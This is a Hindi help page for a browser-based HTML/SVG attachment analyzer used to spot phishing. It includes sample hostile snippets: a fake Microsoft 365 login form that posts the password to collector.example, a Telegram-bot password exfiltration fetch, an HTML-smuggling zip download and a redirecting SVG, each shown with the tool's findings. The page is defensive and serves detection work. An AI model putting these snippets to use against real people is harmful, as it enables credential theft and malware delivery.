Peel Base64, हेक्स, URL एन्कोडिंग, gzip और deflate परतों को तब तक हटाएँ जब तक पठनीय टेक्स्ट न रह जाए।
HTML संलग्नक विश्लेषक
यह उपकरण स्वयं अंग्रेज़ी में है; यह पृष्ठ इसे आपकी भाषा में समझाता है।
HTML संलग्नक विश्लेषक का उपयोग करें
यह क्या करता है
HTML या SVG अटैचमेंट लोड या पेस्ट करें और देखें कि इसे खोलने पर यह क्या करेगा: छिपे डाउनलोड, पासवर्ड कहीं और पोस्ट करने वाले फॉर्म, रीडायरेक्शन, डेटा निकासी एंडपॉइंट और अस्पष्ट कोड। फ़ाइल को केवल टेक्स्ट के रूप में पढ़ा जाता है और कभी भी रेंडर या रन नहीं किया जाता।
यह पूरी तरह से आपके ब्राउज़र में चलता है: आप जो कुछ भी दर्ज करते हैं वह अपलोड नहीं होता।
HTML संलग्नक विश्लेषक का उपयोग कैसे करें
- फ़ाइल न खोलें. .html, .htm, .shtml, .xhtml या .svg अटैचमेंट को खोले बिना सहेजें, या उसका स्रोत टेक्स्ट के रूप में कॉपी करें।
- इसे लोड या पेस्ट करें. फ़ाइल को बॉक्स पर ड्रॉप करें या उसे चुनें (25 एमबी तक), या स्रोत पेस्ट करें (5 एमबी तक) और Analyze या Ctrl+Enter दबाएँ।
- निर्णय पढ़ें. शीर्ष बॉक्स में लिखा है 'उच्च जोखिम', 'संदिग्ध' या 'कोई उच्च-जोखिम पैटर्न नहीं मिला', इसके पीछे श्रेणियाँ और निष्कर्षों, IOCs तथा एम्बेडेड ब्लॉब्स की संख्या दी गई है।
- निष्कर्षों को देखें. प्रत्येक खोज अपनी गंभीरता, श्रेणी, पंक्ति संख्या और मिलान स्रोत दिखाती है, जिसमें लिंक और पते निष्क्रिय कर दिए गए हैं।
- आपने जो पाया उसे निर्यात करें. IOCs को निष्प्रभावी (defanged) या कच्चे (raw) रूप में कॉपी करें, या Send to का उपयोग IOC कन्वर्टर, दुरुपयोग रिपोर्ट जनरेटर या एम्बेडेड ब्लॉब के लिए मल्टी-लेयर डीकोडर के रूप में करें।
उदाहरण
पहले से भरे पते के साथ लॉगिन फ़ॉर्म
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…उच्च जोखिम: लॉगिन फॉर्म पासवर्ड collector[.]example पर भेजता है, शीर्षक पासवर्ड फ़ील्ड के बगल में Microsoft 365 का नाम दिखाता है, और स्क्रिप्ट URL फ़्रैगमेंट से atob के साथ ईमेल पता भरती है। IOC सूची में कलेक्टर URL और उसका डोमेन, defanged, शामिल है।
यह क्या जाँचता है
| संकेत | इसका क्या मतलब है |
|---|---|
| HTML तस्करी | जब पेज मेमोरी में एक फ़ाइल बनाता है (createObjectURL या डाउनलोड लिंक, या msSaveOrOpenBlob के साथ ब्लॉब) और उसे डाउनलोड के लिए उपलब्ध कराता है। |
| प्रपत्र | किसी भी फॉर्म को जो किसी अन्य साइट पर सबमिट होता है, उच्च रेटिंग दी जाती है, और यदि इसमें पासवर्ड होता है तो शीर्षक में यह दर्शाया जाता है। Forms तालिका में प्रत्येक फॉर्म कहाँ पोस्ट होता है, उसका मेथड और फ़ील्ड्स सूचीबद्ध होते हैं। |
| निष्कासन लक्ष्य बिंदु | Telegram Bot API कॉल, बॉट टोकन, Discord वेबहुक्स और formspree.io या webhook.site जैसी फॉर्म-संग्रहण सेवाओं को उच्च रेटिंग दी गई है। |
| अस्पष्टीकरण | atob, unescape, fromCharCode, लंबी एस्केप रन और ज्ञात ऑब्फुस्केटरों का आउटपुट। शाब्दिक एन्कोडेड स्ट्रिंग्स को चलाए बिना ही डीकोड किया जाता है। |
| गतिशील कोड | eval, फ़ंक्शन कंस्ट्रक्टर, document.write और innerHTML असाइनमेंट रन टाइम पर कोड या मार्कअप बनाते हैं। |
| पुनर्निर्देशित करता है | स्थान परिवर्तन, window.open, मेटा रिफ्रेश और URL फ़्रैगमेंट पढ़ना, जहाँ अक्सर किट पीड़ित का ईमेल पता भेजते हैं। |
| विरोधी-विश्लेषण | राइट-क्लिक या F12 को ब्लॉक करना, डिबगर स्टेटमेंट्स, डेवलपर-टूल्स का पता लगाना और स्वचालित ब्राउज़रों के लिए जांच। |
| एम्बेडेड सामग्री | डेटा: URI, लंबे Base64 या हेक्स ब्लॉब और वे फाइल प्रकार जिनमें वे डिकोड होते हैं, छिपे हुए iframe और स्क्रिप्ट वाली SVG फाइलें। |
| ब्रांड संकेत | शीर्षक में ब्रांड नाम, लोगो या लिंक। पासवर्ड फ़ील्ड के पास इसे मध्यम श्रेणी में आंका गया है। |
और उदाहरण
ब्राउज़र में निर्मित एक डाउनलोड
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>उच्च जोखिम, HTML तस्करी का कारण: 1 उच्च खोज (पृष्ठ ब्राउज़र में एक फ़ाइल असेंबल करता है और उसे डाउनलोड के रूप में प्रदान करता है) और atob, new Blob, URL.createObjectURL तथा download एट्रिब्यूट के लिए 4 मध्यम खोजें। कोई IOCs नहीं।
एक टेलीग्राम बॉट को भेजा गया पासवर्ड
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>उच्च जोखिम, कारण डेटा निकासी: एक स्क्रिप्ट पासवर्ड फ़ील्ड वाले पेज से api.telegram.org पर डेटा भेजती है, साथ ही टेलीग्राम बॉट API एंडपॉइंट का पता लगाती है। मध्यम स्तर की खोजों में फ़ेच, पासवर्ड फ़ील्ड और बिना किसी बाहरी क्रिया के लॉगिन फ़ॉर्म शामिल हैं।
एक SVG छवि जो रीडायरेक्ट करती है
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>उच्च जोखिम: स्क्रिप्ट वाली SVG फ़ाइल, साथ ही एक मध्यम रिडायरेक्ट और एक निम्न btoa निष्कर्ष। लक्ष्य अनुरोधों और रिडायरेक्ट्स में एक अन्य साइट के रूप में दिखाई देता है, और XML नेमस्पेस URL IOCs से हटा दिया गया है।
अक्सर पूछे जाने वाले प्रश्न
विश्लेषक क्या देखता है?
यह स्रोत को HTML स्मगलिंग के नियमों (Blob, createObjectURL, msSaveOrOpenBlob, डाउनलोड लिंक, data: यूआरआई और लंबे Base64 ब्लॉब), फॉर्म और स्क्रिप्ट जो डेटा अन्य साइटों पर भेजते हैं, टेलीग्राम और डिस्कॉर्ड से डेटा निकासी, रीडायरेक्ट, छिपे हुए आईफ्रेम, ऑब्फुस्केटर और एंटी-विश्लेषण ट्रिक्स। यह atob, unescape और fromCharCode लिटरल्स को चलाए बिना डीकोड करता है और जो भी URL, डोमेन, IP पता और ई-मेल पता पाता है, उन्हें निष्क्रिय करके सूचीबद्ध करता है।
क्या यह कुछ चूक सकता है या झूठी चेतावनी दे सकता है?
हाँ। एन्क्रिप्टेड या रन-टाइम-जनित कोड अपनी कार्यप्रणाली को स्टैटिक स्कैन से छिपा सकता है, और साधारण पेज भी fetch, innerHTML या इनलाइन इमेज का उपयोग करते हैं, इसलिए प्रत्येक निष्कर्ष के बगल में दिखाए गए संबंधित स्रोत को पढ़ें। डीऑब्फस्केशन और सैंडबॉक्स किए गए इम्यूलेशन के लिए JS Analyzer का उपयोग करें।
क्या फ़ाइल अपलोड की गई है या खोली गई है?
नहीं। फ़ाइल को आपके ब्राउज़र में टेक्स्ट के रूप में पढ़ा जाता है और इसे कभी भी रेंडर, निष्पादित या कहीं भी भेजा नहीं जाता। 25 एमबी तक की फ़ाइलें स्वीकार की जाती हैं; बहुत बड़ी फ़ाइलों के लिए पहले 4 एमबी और अंतिम 1 एमबी मार्कअप स्कैन किया जाता है, और एम्बेडेड ब्लॉब्स को पूरी फ़ाइल में गिना जाता है।
SVG छवि को वेब पेज की तरह क्यों जांचा जाता है?
SVG फ़ाइलें XML होती हैं जिन्हें ब्राउज़र पेजों की तरह खोलते हैं, इसलिए इनमें स्क्रिप्ट, लिंक और एम्बेडेड HTML हो सकते हैं। एक छवि को स्क्रिप्ट की आवश्यकता नहीं होती, इसलिए SVG के भीतर स्क्रिप्ट को उच्च महत्व दिया जाता है।
एम्बेडेड ब्लॉब्स क्या हैं?
फ़ाइल के अंदर लंबी Base64, हेक्स या बाइट-अरे स्ट्रिंग्स। इन्हें मेमोरी में डिकोड किया जाता है और उस फ़ाइल प्रकार के लेबल से चिह्नित किया जाता है जिसमें ये बदल जाती हैं; आप इनमें से किसी एक को कॉपी कर सकते हैं या टेक्स्ट ब्लॉब को मल्टी-लेयर डिकोडर में भेज सकते हैं।
गंभीरता स्तरों का क्या अर्थ है?
उच्च स्कोर उन पैटर्न को दर्शाता है जिन पर फ़िशिंग और मैलवेयर अटैचमेंट्स निर्भर करते हैं, जैसे तस्करी, डेटा निकासी के एंडपॉइंट्स या पासवर्ड फॉर्म को कहीं और पोस्ट करना। मध्यम स्तर उन तकनीकों को कवर करता है जिनका उपयोग सामान्य पेज भी करते हैं। एक उच्च स्कोर इसे उच्च जोखिम का निर्णय बनाता है।